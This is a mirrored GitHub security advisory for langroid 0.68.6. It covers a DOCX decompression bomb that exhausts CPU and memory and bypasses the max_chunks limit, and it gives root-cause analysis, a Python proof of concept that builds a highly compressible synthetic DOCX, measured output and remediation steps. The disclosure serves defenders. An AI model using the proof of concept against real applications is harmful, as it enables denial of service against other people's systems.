GHSA-V46X-W252-4793
DOCX decompression can exhaust resources and bypass max_chunks
Texto original en inglés · Ver en español
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-V46X-W252-4793 divulgada | |
| Remediación | Parche 0.69.2 | langroid · 0 d desde divulgación | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Vulnerability Details
1. Summary
Langroid's DOCX ingestion path accepts a ZIP based document, expands its XML through the default `unstructured` parser, then tokenizes and materializes chunks without enforcing the configured expanded input size or `max_chunks` limit. An application that passes attacker supplied DOCX content to Langroid can therefore spend substantial CPU and memory on a very small compressed input.
I reproduced the issue against the reviewed `0.68.6` source. A synthetic DOCX of 52,187 bytes expanded to an 8,086,400 byte `word/document.xml` member, roughly 155 times the size of the whole compressed archive. With the default `ParsingConfig`, Langroid returned 10,677 chunks although `max_chunks` was 10,000. The run took 72.14 seconds on the test machine. A process listing sampled during the run showed 516,112 KiB of resident memory. That is a sample, not a measured peak.
This is a resource exhaustion issue in document parsing. The report does not claim unauthenticated access to a Langroid service, code execution, data disclosure, or data modification. Exploitability depends on an application accepting attacker supplied documents and invoking the affected parser.
2. Affected software and versions
The behavior was confirmed in `langroid` `0.68.6` at commit `c5d2b59d4c3a8da30b40769155a75144e4ef63c0`. The checked `main` revision is the same commit. Earlier releases were not assessed, so this report does not claim an affected version range beyond the version tested.
The repository's security policy explicitly includes decompression bombs in document parsers and asks reporters to provide a proof of concept against the default configuration. The policy also directs reports to the private advisory channel. The GitHub Security page currently offers the private reporting action. See the security policy https://github.com/langroid/langroid/blob/c5d2b59d4c3a8da30b40769155a75144e4ef63c0/SECURITY.md#L224-L240 and release 0.68.6 https://github.com/langroid/langroid/releases/tag/0.68.6.
The DOCX backend is selected by the default `DocxParsingConfig` when the optional `unstructured` parser dependency is installed. The core Langroid package does not install that optional parser by itself. Applications without it, or applications that never parse untrusted DOCX files, are not exposed through this path.
3. Preconditions
The affected application must use Langroid document ingestion with the `unstructured` DOCX parser installed. The application must also pass attacker supplied DOCX bytes, an attacker controlled document URL, or a file an attacker can cause the application to process. No Langroid network listener is implied by this report.
The default URL download limit constrains the compressed HTTP response to 10 MiB. That limit does not constrain the total bytes expanded from DOCX archive members. The direct bytes input path has no corresponding size check in `DocumentParser`.
4. Root cause
4.1. The default DOCX parser accepts compressed data without an expanded size budget
`DocxParsingConfig.library` defaults to `unstructured`. `DocumentParser.create` selects `UnstructuredDocxParser` for that setting, and the parser passes its complete in memory input to `partition_docx` without first checking archive member sizes or total expanded bytes. The relevant Langroid code is in `parser.py` https://github.com/langroid/langroid/blob/c5d2b59d4c3a8da30b40769155a75144e4ef63c0/langroid/parsing/parser.py#L92-L121 and `document_parser.py` https://github.com/langroid/langroid/blob/c5d2b59d4c3a8da30b40769155a75144e4ef63c0/langroid/parsing/document_parser.py#L240-L249, lines 269 to 282 https://github.com/langroid/langroid/blob/c5d2b59d4c3a8da30b40769155a75144e4ef63c0/langroid/parsing/document_parser.py#L269-L282, and lines 970 to 1002 https://github.com/langroid/langroid/blob/c5d2b59d4c3a8da30b40769155a75144e4ef63c0/langroid/parsing/document_parser.py#L970-L1002.
In the locked `unstructured` `0.18.32` source, `partition_docx` materializes the parsed elements as a list. Its DOCX validation checks that the input is a ZIP archive, then loads it with `python-docx`. Those checks do not impose an expanded byte limit. See `partition/docx.py` https://github.com/Unstructured-IO/unstructured/blob/0.18.32/unstructured/partition/docx.py#L135-L182, the DOCX validation https://github.com/Unstructured-IO/unstructured/blob/0.18.32/unstructured/partition/docx.py#L353-L365, and the `python-docx` load https://github.com/Unstructured-IO/unstructured/blob/0.18.32/unstructured/partition/docx.py#L226-L229.
4.2. URL size limits apply only to compressed response bytes
`ParsingConfig.url_max_size` defaults to 10 MiB. `fetch_url_bytes` enforces that limit while downloading the response, before Langroid passes the archive to the DOCX parser. It does not measure the expanded sizes of the archive entries. Direct byte inputs are wrapped in `BytesIO` without a size check, and local paths are read in full. See `document_url.py` https://github.com/langroid/langroid/blob/c5d2b59d4c3a8da30b40769155a75144e4ef63c0/langroid/parsing/document_url.py#L40-L100 and `document_parser.py` https://github.com/langroid/langroid/blob/c5d2b59d4c3a8da30b40769155a75144e4ef63c0/langroid/parsing/document_parser.py#L269-L282, lines 378 to 390 https://github.com/langroid/langroid/blob/c5d2b59d4c3a8da30b40769155a75144e4ef63c0/langroid/parsing/document_parser.py#L378-L390.
4.3. `get_doc_chunks` does not enforce `max_chunks`
`ParsingConfig.max_chunks` defaults to 10,000. The generic text splitter checks this value, but `DocumentParser.get_doc_chunks` instead encodes each complete page into a token list and appends chunks in a loop until all tokens have been consumed. That method does not compare its chunk count with `max_chunks`. It then assigns window identifiers to the full list. See `parser.py` https://github.com/langroid/langroid/blob/c5d2b59d4c3a8da30b40769155a75144e4ef63c0/langroid/parsing/parser.py#L112-L121, the bounded generic splitter https://github.com/langroid/langroid/blob/c5d2b59d4c3a8da30b40769155a75144e4ef63c0/langroid/parsing/parser.py#L339-L365, and `get_doc_chunks` https://github.com/langroid/langroid/blob/c5d2b59d4c3a8da30b40769155a75144e4ef63c0/langroid/parsing/document_parser.py#L534-L599.
4.4. The later DocChatAgent limit is too late
`DocChatAgent` routes paths and byte inputs through `RepoLoader.get_documents`, which calls `DocumentParser.chunks_from_path_or_bytes`. The document parser fully expands, tokenizes, and builds its chunk list before returning. `DocChatAgent.ingest_docs` slices the list to `max_chunks` later in its ingestion flow. That downstream slice can limit what is stored, but it does not bound the DOCX parsing work or the temporary memory already consumed. See `doc_chat_agent.py` https://github.com/langroid/langroid/blob/c5d2b59d4c3a8da30b40769155a75144e4ef63c0/langroid/agent/special/doc_chat_agent.py#L540-L611 and the later slice https://github.com/langroid/langroid/blob/c5d2b59d4c3a8da30b40769155a75144e4ef63c0/langroid/agent/special/doc_chat_agent.py#L670-L710.
5. Attack flow
- An application accepts a DOCX from an untrusted user or fetches a DOCX URL on that user's behalf.
- The application invokes Langroid's document ingestion path with the default DOCX parser configuration.
- The parser expands the archive and builds document elements without an expanded size limit.
- Langroid tokenizes the complete page content and creates chunks without enforcing `max_chunks` in `get_doc_chunks`.
- The application's ingestion worker spends substantial CPU and memory on the document. Repeated requests can exhaust workers or terminate the process under its configured memory limit.
6. Safe proof of concept
Run this only in an isolated local environment. It creates a synthetic DOCX in memory and does not contact another system or write files. The tested environment used Python 3.11.9, Langroid `0.68.6`, `unstructured` `0.18.32`, and `python-docx` `1.2.0`.
from io import BytesIO
from time import perf_counter
from zipfile import ZIP_DEFLATED, ZipFile
from docx import Document as WordDocument
from langroid.parsing.document_parser import DocumentParser
from langroid.parsing.parser import Parser, ParsingConfig
paragraph_count = 1600
words_per_paragraph = 1000
text = b"word " * words_per_paragraph
replacement = b"".join(
b'<w:p><w:r><w:t xml:space="preserve">' + text + b"</w:t></w:r></w:p>"
for _ in range(paragraph_count)
)
base = BytesIO()
doc = WordDocument()
doc.add_paragraph("seed")
doc.save(base)
rebuilt = BytesIO()
with ZipFile(BytesIO(base.getvalue()), "r") as source, ZipFile(
rebuilt, "w", ZIP_DEFLATED, compresslevel=9
) as target:
for item in source.infolist():
payload = source.read(item.filename)
if item.filename == "word/document.xml":
old_paragraph = b"<w:p><w:r><w:t>seed</w:t></w:r></w:p>"
assert old_paragraph in payload
payload = payload.replace(old_paragraph, replacement)
target.writestr(item, payload)
archive = rebuilt.getvalue()
config = ParsingConfig()
parser = Parser(config)
started = perf_counter()
chunks = DocumentParser.chunks_from_path_or_bytes(
archive, parser, doc_type="docx"
)
elapsed = perf_counter() - started
print(f"docx_parser={config.docx.library}")
print(f"max_chunks_configured={config.max_chunks}")
print(f"compressed_docx_bytes={len(archive)}")
print(f"document_xml_bytes={len(replacement)}")
print(f"paragraphs={paragraph_count}, words_per_paragraph={words_per_paragraph}")
print(f"chunk_count_returned={len(chunks)}")
print(f"elapsed_seconds={elapsed:.2f}")Observed output on the test machine was:
docx_parser=unstructured
max_chunks_configured=10000
compressed_docx_bytes=52187
document_xml_bytes=8086400
paragraphs=1600, words_per_paragraph=1000
chunk_count_returned=10677
elapsed_seconds=72.14The process listing sampled during the run reported 516,112 KiB of resident memory. The value is a point in time sample rather than a measured peak. The same test confirms both archive expansion and that `DocumentParser` returns more chunks than the configured maximum.
7. Impact and limitations
| Property | Impact |
| --- | --- |
| Confidentiality | No disclosure is claimed. |
| Integrity | No modification is claimed. |
| Availability | A small compressed DOCX can consume substantial CPU and memory in the process parsing it. Repeated uploads can exhaust workers or cause an out of memory termination. |
| Scope | The impact is limited to an application process that ingests attacker supplied DOCX content with the affected parser enabled. |
The test used a synthetic document and the local Langroid parser. It did not test a web application or prove that any specific deployment accepts unauthenticated uploads. Authentication, upload size limits, worker isolation, and process memory limits can change the practical impact.
8. Remediation
- Apply an input byte limit to byte arrays and local files as well as downloaded URLs.
- Before parsing a DOCX, enforce a maximum entry count, maximum per entry expanded size, maximum total expanded size, and a reasonable compression ratio. Enforce limits while reading actual decompressed bytes so archive metadata alone cannot bypass the checks.
- Enforce `max_chunks` inside `DocumentParser.get_doc_chunks` before appending another chunk. Avoid encoding the entire document into one token list when the configured limit has already been reached.
- Add a regression test using a small DOCX with many short XML text nodes. The parser should reject it or stop within the configured expanded byte and chunk limits before materializing all elements.
9. Credits
Reported by Nguyen Dinh Hai from the Post and Telecommunication Institute of Technology (Haind03 https://github.com/Haind03).
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypilangroid |
Corregida | 0.69.2 | 0 d | 0.69.22 no afectada |
0.69.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/langroid/langroid/security/advisories/GHSA-v46x-w252-4793Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
